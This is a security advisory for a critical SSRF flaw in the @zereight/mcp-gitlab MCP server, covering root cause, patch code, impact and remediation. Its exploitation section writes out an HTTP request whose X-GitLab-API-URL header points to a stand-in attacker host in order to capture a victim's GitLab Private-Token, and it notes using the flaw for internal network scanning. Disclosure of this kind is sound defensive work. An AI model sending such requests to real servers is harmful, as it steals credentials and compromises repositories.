CVE-2026-61559: Critical Server-Side Request Forgery and Token Leakage in @zereight/mcp-gitlab

The @zereight/mcp-gitlab (also distributed as gitlab-mcp) package is a Model Context Protocol (MCP) server that interfaces Large Language Models (LLMs) and automated agents with GitLab's programmatic interfaces. When deployed, this server facilitates interaction between intelligent agents and target repositories by handling API authentication and requests. To support environments with multiple distinct GitLab instances, the server exposes a configuration mechanism allowing dynamic API URL routing.

This dynamic routing capability is controlled by the ENABLE_DYNAMIC_API_URL environment variable. When enabled, the server relies on the incoming client-supplied HTTP request header X-GitLab-API-URL to determine the destination host for outbound API calls. The core vulnerability stems from the absence of domain validation or structural allowlist checks against this header, classifiable under CWE-918 (Server-Side Request Forgery).

An attacker who can send requests to the MCP server can exploit this trust boundary failure. By supplying an arbitrary external hostname in the X-GitLab-API-URL header, the attacker coerces the server into directing outbound traffic to a malicious server. Because the server forwards authenticating credentials associated with the session context, the attacker is able to steal highly privileged credentials.

The root cause of this vulnerability lies in the lack of destination host validation during the resolution of dynamic API endpoints within the server's HTTP routing middleware. When the configuration parameter ENABLE_DYNAMIC_API_URL is set to true, the application is instructed to process the user-supplied X-GitLab-API-URL header. The server parses the value of this header to dynamically override the default configured GitLab base API URL.

Prior to version 2.1.27, the parsing implementation performed basic hygienic validation of the input using the standard URL constructor. If the input string represented a well-formed URL, the application modified its internal state, overwriting the destination API base URL for the active request context. The application did not perform any validation to ensure the parsed hostname belonged to a set of trusted domains or matched the configured on-premise GitLab deployment.

Subsequently, when executing remote actions, the server constructs an outbound HTTP request using standard fetch libraries. The request initialization routines append the sensitive authentication token (typically provided as a Private-Token header) to this request. Because the host portion of the request target is directly derived from the unchecked X-GitLab-API-URL value, the server sends the authentication token to the untrusted external authority.

A detailed analysis of the fix merged in commit 6ffb4cc70706fd05b1ab80901676bc2998b6db6d reveals how the developers established validation controls. The critical modifications introduce a custom validation function, resolveTrustedGitLabApiUrl, designed to match requested dynamic domains against a lookup table populated by an authorized hosts list.

Below is the logic introduced to secure the routing function:

// Section of patch introducing validation logic
function resolveTrustedGitLabApiUrl(value: string): string {
  // Parse the incoming dynamic URL string
  const parsed = new URL(value);
 
  // Verify if the host is explicitly declared in the trusted mapping
  const allowedApiUrl = GITLAB_ALLOWED_API_URLS_BY_HOST.get(parsed.host);
  if (!allowedApiUrl) {
    throw new Error(
      `GitLab API URL host is not allowed: ${parsed.host}. ` +
        "Add the host to GITLAB_ALLOWED_HOSTS or GITLAB_API_URL."
    );
  }
 
  return allowedApiUrl;
}

In the vulnerable version, the application directly passed the user-input URL to the outbound request generator without checking parsed.host against any boundaries. The patch updates proxy.ts to capture validation exceptions and return HTTP status code 400 (Bad Request) if the domain validation fails:

// Patch integrated in proxy.ts routing handler
if (deps.enableDynamicApiUrl && requestedApiUrl) {
  try {
    apiUrl = deps.resolveTrustedGitLabApiUrl(requestedApiUrl);
  } catch (error) {
    const message = error instanceof Error ? error.message : "Invalid X-GitLab-API-URL";
    res.status(400).json({ error: message });
    return;
  }
}

This defensive design ensures that unless an administrative user explicitly registers the external destination host within the GITLAB_ALLOWED_HOSTS configuration, the server refuses to route outbound traffic to it, neutralizing the SSRF vector.

Exploiting this Server-Side Request Forgery (SSRF) flaw requires three conditions: network access to the MCP server's HTTP endpoints, the target deployment having ENABLE_DYNAMIC_API_URL set to true, and the transmission of active credentials. An attacker does not require administrative privileges on the MCP server to trigger this flaw, as the vulnerable header is parsed from incoming client requests.

An attacker begins the exploit sequence by spinning up an HTTP request logging listener on a publicly routable IP address. Once the listener is online, the attacker sends a crafted request to an exposed endpoint of the target @zereight/mcp-gitlab instance (such as /downloads/job-artifacts). In this request, the attacker embeds the X-GitLab-API-URL header, assigning it the value of the attacker-controlled logging server.

GET /downloads/job-artifacts?project_id=1&job_id=1 HTTP/1.1
Host: target-mcp-server.local
Private-Token: glpat-sensitiveUserTokenHere
X-GitLab-API-URL: http://attacker-controlled-server.com/api/v4

Upon receiving this payload, the MCP server interprets the X-GitLab-API-URL header as the new backend base URL. The application proceeds to construct an outbound request to retrieve the requested resources, attaching the victim's Private-Token header. This request is sent to the attacker-controlled domain, where the attacker captures the incoming request and extracts the raw Private-Token header, compromising the victim's GitLab account.

The impact of this vulnerability is critical, as reflected in its CVSS score of 9.6. Successful exploitation leads to a total compromise of confidentiality and integrity regarding the victim's GitLab session and associated repositories. An attacker who retrieves an active Private-Token acquires all privileges associated with that token, which may include code modification, pipeline manipulation, and access to internal secrets.

Because the MCP server is designed to act on behalf of developers or integration agents, the stolen tokens often possess extensive scope definitions, such as api, read_repository, and write_repository. With these credentials, an attacker can modify source code repositories, inject malicious code into CI/CD pipelines, or download proprietary intellectual property. This elevates the risk from a simple credential disclosure to a severe supply chain injection vector.

Furthermore, the network architecture of the environment plays a key role in the overall impact. If the MCP server is positioned inside a restricted network enclave, an attacker can use this SSRF to scan other internal systems. This is achieved by directing the X-GitLab-API-URL to internal IP addresses and observing the server's response patterns or error codes, bypassing firewall boundaries.

The primary remediation strategy is upgrading the @zereight/mcp-gitlab package to version 2.1.27 or higher. This update introduces mandatory validation logic that enforces domain restrictions, rendering arbitrary URL injection ineffective. For deployments where immediate package updates are not feasible, network administrators should implement strict outbound proxy rules to block requests to unapproved external endpoints.

Additionally, developers must evaluate whether dynamic routing is strictly necessary. If the environment uses a single GitLab instance, dynamic API URL routing should be disabled by setting ENABLE_DYNAMIC_API_URL=false in the environment configuration. This deactivates the processing of the X-GitLab-API-URL header entirely, eliminating the attack surface.

If dynamic routing is required, administrators must configure the GITLAB_ALLOWED_HOSTS environment variable to define a strict allowlist. This comma-separated string should only contain trusted hosts. Any dynamic URL request referencing an unauthorized host will be rejected with an HTTP 400 Bad Request response before any outbound request is initiated.